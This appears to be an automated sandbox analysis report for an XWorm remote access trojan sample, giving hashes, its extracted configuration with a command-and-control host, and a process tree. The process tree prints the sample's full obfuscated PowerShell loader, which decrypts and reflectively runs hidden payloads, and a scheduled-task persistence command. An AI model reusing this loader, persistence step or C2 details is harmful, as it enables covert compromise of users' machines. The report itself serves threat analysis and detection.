xworm | 0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150

Analysis

max time kernel
5s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
01-07-2024 01:00

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General

Target

0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150.cmd
Size

500KB
MD5

6e45850d43bde1d6bc68ab6b07daf153
SHA1

427ed64bb89e6bf40e59276768d37152c209e976
SHA256

0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150
SHA512

e44ea25026d2146991e61eb82ed6028af248fb9235b271f665943b432833e3274a3e9ae9ffc912436b294e6a450337cbd251daafad11c926a41cc942042b4f81
SSDEEP

12288:Co8xbtgA4f9Ek3aoC4QvfD2ZK1n6B4XyZYi9lGUnnQ:Co8NtsaCm1nhqD9ginQ

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

korkos.now-dns.net:999

Mutex

PloDJK2PhSuWy8rU

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

Processes:

resource yara_rule

behavioral2/memory/4372-67-0x0000020345DD0000-0x0000020345DE2000-memory.dmp family_xworm
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2436 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2216 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2216 powershell.exe

resource	yara_rule
behavioral2/memory/4372-67-0x0000020345DD0000-0x0000020345DE2000-memory.dmp	family_xworm

pid	process
2436	powershell.exe

pid	process
2216	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2216	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 568 wrote to memory of 3236	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3236	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 4936	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 4936	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 5024	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 5024	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3296	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3296	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 4028	568	cmd.exe	Conhost.exe
PID 568 wrote to memory of 4028	568	cmd.exe	Conhost.exe
PID 568 wrote to memory of 984	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 984	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3084	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3084	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3228	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3228	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 5052	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 5052	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3840	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 3840	568	cmd.exe	cmd.exe
PID 568 wrote to memory of 2216	568	cmd.exe	powershell.exe
PID 568 wrote to memory of 2216	568	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:568

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:3236

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:4936

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:5024

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:3296

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:4028

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:984

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:3084

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:3228

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:5052

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('wNcFKur0Jl7450HdnpBnzjJ0VkczGUUgZCayB4N/z5k='); $aes_var.IV=[System.Convert]::FromBase64String('LnVH8Q3dknv++SzltewTug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZpTQS=New-Object System.IO.MemoryStream(,$param_var); $OYGBL=New-Object System.IO.MemoryStream; $STZRP=New-Object System.IO.Compression.GZipStream($ZpTQS, [IO.Compression.CompressionMode]::Decompress); $STZRP.CopyTo($OYGBL); $STZRP.Dispose(); $ZpTQS.Dispose(); $OYGBL.Dispose(); $OYGBL.ToArray();}function execute_function($param_var,$param2_var){ $QnAOk=[System.Reflection.Assembly]::Load([byte[]]$param_var); $GDXEp=$QnAOk.EntryPoint; $GDXEp.Invoke($null, $param2_var);}$pPyzM = 'C:\Users\Admin\AppData\Local\Temp\0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150.cmd';$host.UI.RawUI.WindowTitle = $pPyzM;$CtNBM=[System.IO.File]::ReadAllText($pPyzM).Split([Environment]::NewLine);foreach ($oZZUg in $CtNBM) { if ($oZZUg.StartsWith('IrzEsjacAQqOMrEShQQm')) { $GKlON=$oZZUg.Substring(20); break; }}$payloads_var=[string[]]$GKlON.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
2⤵
PID:3840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2216

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150.cmd" "
3⤵
PID:3864

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:4532

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:2908

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:3548

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:4364

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:1104

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:3940

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:4024

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:4388

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
4⤵
PID:4172

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('wNcFKur0Jl7450HdnpBnzjJ0VkczGUUgZCayB4N/z5k='); $aes_var.IV=[System.Convert]::FromBase64String('LnVH8Q3dknv++SzltewTug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZpTQS=New-Object System.IO.MemoryStream(,$param_var); $OYGBL=New-Object System.IO.MemoryStream; $STZRP=New-Object System.IO.Compression.GZipStream($ZpTQS, [IO.Compression.CompressionMode]::Decompress); $STZRP.CopyTo($OYGBL); $STZRP.Dispose(); $ZpTQS.Dispose(); $OYGBL.Dispose(); $OYGBL.ToArray();}function execute_function($param_var,$param2_var){ $QnAOk=[System.Reflection.Assembly]::Load([byte[]]$param_var); $GDXEp=$QnAOk.EntryPoint; $GDXEp.Invoke($null, $param2_var);}$pPyzM = 'C:\Users\Admin\AppData\Local\Temp\0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150.cmd';$host.UI.RawUI.WindowTitle = $pPyzM;$CtNBM=[System.IO.File]::ReadAllText($pPyzM).Split([Environment]::NewLine);foreach ($oZZUg in $CtNBM) { if ($oZZUg.StartsWith('IrzEsjacAQqOMrEShQQm')) { $GKlON=$oZZUg.Substring(20); break; }}$payloads_var=[string[]]$GKlON.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
4⤵
PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
4⤵
PID:4372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\0a0a6608a80b982fc1f0897b89c9ffa58ba58e3c2d1c200155e47c495b0c6150')
5⤵
PID:3484

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote startup_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-SCV.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
5⤵
- Command and Scripting Interpreter: PowerShell
PID:2436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1328 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:8
1⤵
PID:1164

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
50c591ec2a1e49297738ea9f28e3ad23

SHA1
137e36b4c7c40900138a6bcf8cf5a3cce4d142af

SHA256
7648d785bda8cef95176c70711418cf3f18e065f7710f2ef467884b4887d8447

SHA512
33b5fa32501855c2617a822a4e1a2c9b71f2cf27e1b896cf6e5a28473cfd5e6d126840ca1aa1f59ef32b0d0a82a2a95c94a9cc8b845367b61e65ec70d456deec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
0cbc923c35550088c27d279ef0a02bcc

SHA1
15fc7e957f2643837eb4e0e0a84069a7cba301e3

SHA256
7ad6c691019cbad37cf422666ea4694b8cdac7ed9ecb04005c4dab7d9371b0dc

SHA512
598b587386814562ef2069ea893c2fbafe733801ca33a7fc1a2028b796f80ad4995aa106e032cf2e5069ce0875e5b42167e5b9df3e32c4cad317b8efbed4022b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mkwrube0.kyk.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/384-68-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/524-99-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/904-103-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/956-72-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1096-102-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1340-95-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1364-70-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1468-108-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1480-104-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1488-109-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1552-77-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1660-116-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1724-97-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1752-76-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1948-71-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/1956-69-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/2084-100-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/2088-107-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/2148-73-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/2216-13-0x000001961DAB0000-0x000001961DAB8000-memory.dmp

Filesize
32KB

Download
memory/2216-17-0x000001961DB30000-0x000001961DB66000-memory.dmp

Filesize
216KB

Download
memory/2216-15-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

Filesize
2.0MB

Download
memory/2216-16-0x00007FFA54230000-0x00007FFA542EE000-memory.dmp

Filesize
760KB

Download
memory/2216-14-0x000001961DAC0000-0x000001961DAD0000-memory.dmp

Filesize
64KB

Download
memory/2216-5-0x000001961D5C0000-0x000001961D5E2000-memory.dmp

Filesize
136KB

Download
memory/2216-11-0x000001961DBB0000-0x000001961DC26000-memory.dmp

Filesize
472KB

Download
memory/2216-10-0x000001961DAE0000-0x000001961DB24000-memory.dmp

Filesize
272KB

Download
memory/2496-96-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/2508-115-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/2520-98-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/2900-105-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/3336-66-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/3336-56-0x0000000003020000-0x000000000304A000-memory.dmp

Filesize
168KB

Download
memory/3508-74-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/4228-106-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download
memory/4372-33-0x00007FFA54230000-0x00007FFA542EE000-memory.dmp

Filesize
760KB

Download
memory/4372-67-0x0000020345DD0000-0x0000020345DE2000-memory.dmp

Filesize
72KB

Download
memory/4372-32-0x00007FFA54A10000-0x00007FFA54C05000-memory.dmp

Filesize
2.0MB

Download
memory/4848-101-0x00007FFA14A90000-0x00007FFA14AA0000-memory.dmp

Filesize
64KB

Download